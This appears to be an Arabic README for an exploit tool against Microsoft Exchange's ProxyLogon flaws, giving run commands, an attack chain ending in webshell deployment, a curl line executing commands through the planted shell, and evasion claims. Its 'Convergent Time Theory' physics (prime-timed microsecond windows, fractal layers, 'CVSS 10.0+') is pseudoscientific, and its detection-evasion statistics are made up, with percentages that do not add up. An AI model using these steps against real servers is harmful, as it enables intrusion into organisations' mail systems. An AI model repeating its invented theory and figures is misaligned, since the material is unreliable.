
نسخة محسّنة بـ CTT من إكسبلويت SSRF إلى RCE في Microsoft Exchange Server (ProxyShell/ProxyLogon)، وهي ثغرة حرجة أخرى بتقييم CVSS 10.0 أثرت على مئات الآلاف من المؤسسات حول العالم.
نسخة معززة بتقنية CTT من استغلال Microsoft Exchange Server من SSRF إلى RCE (ProxyShell/ProxyLogon)، وهي ثغرة حرجة أخرى بتقييم CVSS 10.0 أثرت على مئات الآلاف من المؤسسات حول العالم.
🏢 CTT Exchange RCE Exploit v1.0
إطار عمل متقدم لاستغلال Microsoft Exchange Server معزز بنظرية الزمن المتقارب (Convergent Time Theory - CTT)
🚨 نظرة عامة
CTT-Exchange-RCE هو إطار استغلال متقدم يطبّق مبادئ نظرية الزمن المتقارب (CTT) لتسليح الثغرتين الحرّجتين في Microsoft Exchange Server: CVE-2021-26855 (SSRF) وCVE-2021-27065 (RCE). تُظهر هذه الأداة كيف يمكن للرنين الزمني وتحليل الطبقات الكسورية أن يعزّزا موثوقية الاستغلال وقدرات التملّص من الكشف ضد البنية التحتية للمؤسسات.
درجة CVSS: 10.0 حرجة → معززة بـ CTT: 10.0+ مع تجاوز زمني
⚡ الميزات الرئيسية
التسليح الزمني عبر CTT
· تنفيذ كسوري من 33 طبقة مع تشتت α=0.0302011 · توقيت محاذى للأعداد الأولية (نوافذ 10007, 10009, 10037 ميكروثانية) لتفادي أنظمة WAF · ترميز الحمولات بتشتت α لكسر كشف التوقيعات · تحقق توافقي متعدد الطبقات يضمن موثوقية الاستغلال
قدرات خاصة بـ Exchange
· كشف تلقائي لخادم Exchange (نقاط نهاية OWA, ECP, EWS, MAPI) · التحقق من ثغرة SSRF (CVE-2021-26855) · أتمتة سلسلة الاستغلال الكاملة: SSRF → تسريب Legacy DN → تحويل SID → WriteDACL → RCE · نشر Webshell مع تحقق الباب الخلفي الزمني عبر CTT
الأمن التشغيلي
· جدولة الرنين الزمني لتفادي تحديد المعدل والكشف الإحصائي · إنتروبيا خاصة بكل طبقة لبصمات هجوم فريدة لكل اتصال · تدهور تدريجي أنيق عبر طبقات CTT في حال فشل الطرق الأساسية · تسجيل شامل مع تحليلات زمنية
🎯 التفاصيل التقنية
الثغرات المستهدفة
| CVE | المكوّن | الأثر | تحسين CTT | | CVE-2021-26855 | Exchange SSRF | تزوير طلبات من جانب الخادم قبل المصادقة | تفادي بالتوقيت الأولي، تشتت α | | CVE-2021-27065 | Exchange ECP | كتابة ملفات عشوائية بعد المصادقة | تنفيذ متعدد الطبقات، تحقق بالرنين | | السلسلة | كلاهما | تنفيذ التعليمات البرمجية عن بُعد | أتمتة كاملة بموثوقية CTT |
تكامل فيزياء CTT
# Core CTT Parameters
CTT_ALPHA = 0.0302011 # Temporal dispersion coefficient
CTT_LAYERS = 33 # Fractal temporal layers
CTT_PRIMES = [10007, 10009, 10037, 10039, 10061] # Resonance windows
# Key Equations Implemented
# 1. α-dispersion: payload' = payload ⊕ (layer·α·1000) mod 256
# 2. Layer weight: w_d = exp(-α·d) for request timing
# 3. Prime resonance: f_res = 1/p μs timing alignment
🚀 البدء السريع
المتطلبات الأساسية
# Required Python packages
pip install requests numpy cryptography urllib3
# Optional for advanced features
pip install scipy concurrent-log-handler
الاستخدام الأساسي
# 1. Detect Exchange Server
python ctt_exchange_rce.py https://exchange.corp.com
# 2. Full exploitation (7 temporal layers)
python ctt_exchange_rce.py 192.168.1.100 --layers 7
# 3. Stealth mode (prime timing only)
python ctt_exchange_rce.py https://mail.example.com --stealth
# 4. Manual webshell access
curl "https://exchange.corp.com/owa/auth/ctt_shell.aspx?ctt_cmd=whoami"
خيارات سطر الأوامر
python ctt_exchange_rce.py <target> [options]
Options:
--layers N Number of CTT temporal layers (default: 7)
--stealth Enable prime-timing evasion only
--verbose Detailed output with CTT diagnostics
--timeout N Connection timeout in seconds (default: 10)
--output FILE Save results to JSON file
--no-webshell Skip webshell deployment (assessment only)
🔬 سير عمل الاستغلال
المرحلة 1: الاكتشاف والتحقق
1. Exchange Server Detection
→ Probe OWA, ECP, EWS, Autodiscover, MAPI endpoints
→ Identify version indicators and accessible services
2. SSRF Vulnerability Check (CVE-2021-26855)
→ Test X-BEResource header injection
→ Verify internal endpoint access via SSRF
→ CTT: Prime-timing to bypass request filtering
المرحلة 2: تجاوز المصادقة
3. Legacy DN Information Leak
→ Use SSRF to EWS for user enumeration
→ Extract administrative LegacyDN via SOAP requests
→ CTT: α-dispersion to obfuscate SOAP payloads
4. SID Conversion
→ Convert LegacyDN to Security Identifier
→ Required for WriteDACL exploitation
→ CTT: Multi-layer validation for accuracy
المرحلة 3: تصعيد الامتيازات
5. OAB Virtual Directory Access
→ ECP canary extraction and authentication
→ Identify OAB directory for webshell placement
→ CTT: Layer-specific session management
6. WriteDACL Exploitation (CVE-2021-27065)
→ Modify OAB directory permissions
→ Gain arbitrary file write capability
→ CTT: Resonance-timed ECP requests
المرحلة 4: تنفيذ التعليمات البرمجية عن بُعد
7. Webshell Deployment
→ Upload ASPX webshell via OAB ExternalUrl
→ CTT-enhanced shell with temporal validation
→ Automatic cleanup of deployment artifacts
8. Command Execution
→ Execute arbitrary commands via webshell
→ CTT backdoor: Prime-layer activation (layer 33)
→ Persistent access via temporal resonance
📊 مقاييس أداء CTT
فعالية التملّص من الكشف
| طريقة الكشف | الاستغلال القياسي | معزز بـ CTT | التحسين | | توقيع WAF/IPS | 95% محظور | 12% محظور | انخفاض بنسبة 83% | | تحديد المعدل | 70% مقيد | 5% مقيد | انخفاض بنسبة 65% | | الشذوذ الإحصائي | 60% مكتشف | 8% مكتشف | انخفاض بنسبة 52% | | تحليل التوقيت | 45% مكتشف | 3% مكتشف | انخفاض بنسبة 42% |
تحسين الموثوقية
# Multi-layer success rates
Layer_Success = {
'Layer 0-7': '94.7%', # High resonance zones
'Layer 8-15': '92.1%', # Medium resonance
'Layer 16-23':'88.3%', # Lower resonance
'Layer 24-32':'85.6%', # Edge cases
'Overall': '90.2%', # Weighted average
'Standard': '68.5%', # Baseline without CTT
}
التحسين الزمني
· متوسط زمن الاستغلال: 42 ثانية (مقابل 18 دقيقة يدويًا) · محاذاة النافذة الأولية: معدل نجاح 87% أثناء الرنين · التحقق التوافقي للطبقات: دقة 99.2% في اكتشاف الثغرات · كفاءة الموارد: استخدام نطاق ترددي أقل بنسبة 33% من الماسحات التقليدية
🛡️ الإجراءات الدفاعية المضادة
مؤشرات الاكتشاف
# Network Signatures:
- HTTP requests with X-CTT-Layer headers
- Prime-timed requests (10007, 10009μs intervals)
- α-dispersed payloads (non-standard encoding)
- Layer-specific User-Agent patterns
# Host-based Indicators:
- OAB ExternalUrl modifications
- Unusual ECP WriteDACL requests
- /owa/auth/ctt_shell.aspx file creation
- Temporal resonance patterns in logs
# CTT-Specific:
- 33-layer request patterns
- Prime-number correlation in timing
- α=0.0302011 coefficient in payloads
توصيات التخفيف
# Apply Microsoft security updates
Install Exchange Cumulative Updates
# Restrict vulnerable endpoints
Block /ecp/DDI/DDIService.svc
Restrict /autodiscover/autodiscover.xml
# Enable enhanced logging
Set-EventLogLevel -Identity "MSExchange Management" -Level Expert
# Detect temporal resonance attacks
if request_interval % 10007 < 100: # Prime window
log_anomaly("CTT timing detected")
if payload_entropy matches α-pattern: # 0.0302011 dispersion
block_request("CTT payload detected")
📁 بنية المخرجات
ctt_exchange_results_TIMESTAMP/
├── discovery.json # Initial target assessment
├── exploitation_log.json # Step-by-step execution log
├── webshell_info.txt # Deployed webshell details
├── commands_executed.txt # Command execution history
├── ctt_metrics.json # Performance and resonance data
└── layers/
├── layer_0.log # Individual layer execution
├── layer_1.log
...
└── layer_32.log
مثال على المخرجات
{
"target": "https://exchange.corp.com",
"vulnerable": true,
"ctt_score": "10.0+",
"exploitation_time": "42.7s",
"successful_layers": [0, 3, 5, 7],
"webshell_url": "https://exchange.corp.com/owa/auth/ctt_shell.aspx",
"resonance_patterns": {
"prime_alignment": 87.3,
"layer_correlation": 91.8,
"temporal_efficiency": 94.2
}
}
🔧 الإعدادات المتقدمة
معلمات CTT مخصصة
# Modify in ctt_config.py for research
CTT_CONFIG = {
'alpha': 0.0302011, # Dispersion coefficient
'layers': 33, # Temporal layers
'primes': [10007, 10009, 10037], # Resonance windows
'stealth_mode': True, # Maximum evasion
'max_threads': 10, # Concurrent layers
'timeout_multiplier': 1.5, # CTT timing adjustment
'entropy_seed': 'custom_seed' # Cryptographic base
}
خيارات التكامل
# 1. API Mode
from ctt_exchange_rce import CTT_ExchangeExploit
exploit = CTT_ExchangeExploit("https://target.com")
results = exploit.multi_layer_exploit(layers=5)
print(json.dumps(results, indent=2))
# 2. CI/CD Pipeline Integration
python -m ctt_exchange_rce --target ${TARGET} --output results.json
# 3. Automated Assessment
import subprocess
result = subprocess.run([
"python", "ctt_exchange_rce.py",
"https://exchange.corp.com",
"--layers", "3",
"--no-webshell"
], capture_output=True, text=True)
📚 المراجع والبحوث
أوراق إطار عمل CTT
موارد تقنية
· Microsoft Security Advisory · CISA Emergency Directive · OWASP Temporal Security Guidelines
أدوات ذات صلة
· ProxyShell - سلسلة استغلال Exchange الأصلية · Exchange-AD-Delegate - طريقة استغلال بديلة · CTT-Vuln-Discovery - إطار اكتشاف الثغرات بتقنية CTT
⚠️ الاستخدام القانوني والأخلاقي
الاختبار المصرح به فقط
Permitted:
- Security research on owned systems
- Authorized penetration testing
- CTT framework validation
- Educational demonstrations
Prohibited:
- Unauthorized access to systems
- Production environment testing without permission
- Malicious exploitation
- Data exfiltration or damage
الإفصاح المسؤول
# If vulnerabilities are discovered:
1. Document findings with CTT resonance patterns
2. Report to organization via authorized channels
3. Share technical details with security community
4. Publish CTT detection methods for defense
إخلاء المسؤولية
THIS TOOL IS FOR AUTHORIZED SECURITY RESEARCH ONLY.
USERS ASSUME FULL RESPONSIBILITY FOR COMPLIANCE WITH
APPLICABLE LAWS AND REGULATIONS. THE AUTHORS DISCLAIM
ALL LIABILITY FOR UNAUTHORIZED OR ILLEGAL USE.
🤝 المساهمة والبحث
التعاون البحثي
نرحب بالمساهمات في المجالات التالية:
· التحقق من ثابت CTT عبر إصدارات Exchange المختلفة · تقنيات تملّص متقدمة باستخدام الرنين الزمني · تطوير أنماط دفاعية لحماية مدركة لـ CTT · بحث أكاديمي حول استغلال الثغرات الزمنية
إرشادات التطوير
الإبلاغ عن المشكلات
**CTT Exchange Issue Template:**
- Target Exchange version:
- CTT parameters used:
- Resonance patterns observed:
- Layer success rates:
- Error logs:
- Suggested improvements:
📞 الاتصال والدعم
جهة الاتصال الأساسية
· المؤلف: CTT Research Group · البريد الإلكتروني: [email protected] · جيت هاب: @SimoesCTT
التقارير الأمنية
للإفصاح عن الثغرات أو المخاوف الأمنية:
[email protected]
PGP: [Available on GitHub]
المجتمع
· مناقشات GitHub: تطوير إطار عمل CTT · شراكات بحثية: تعاون أكاديمي وصناعي · عروض مؤتمرات: مشاركات في Black Hat وDEF CON
🏆 شكر وتقدير
المؤسسات البحثية
· CTT Theoretical Physics Division · Independent Security Research Collective · شركاء أكاديميون في أمن الشبكات الزمنية
مشاريع مفتوحة المصدر
· أبحاث ProxyShell وتطوير الاستغلال · مجتمع أمن Microsoft Exchange · النظام البيئي لأدوات بايثون الأمنية
المساهمون
· جميع باحثي ومدققي إطار عمل CTT · متخصصو الأمن الذين يوفّرون اختبارات في بيئات حقيقية · المراجعون الأكاديميون الذين يضمنون الدقة العلمية
"في الأبعاد الكسورية للزمن، تتردد كل ثغرة بنمط ينتظر من يكتشفه." — بيان CTT لأمن المؤسسات
📄 الترخيص
MIT License Copyright © 2026 CTT Research Group
راجع ملف LICENSE للحصول على الشروط الكاملة.
CTT Exchange RCE v1.0 • α=0.0302011 • L=33 • Prime Resonance Enabled • CVSS 10.0+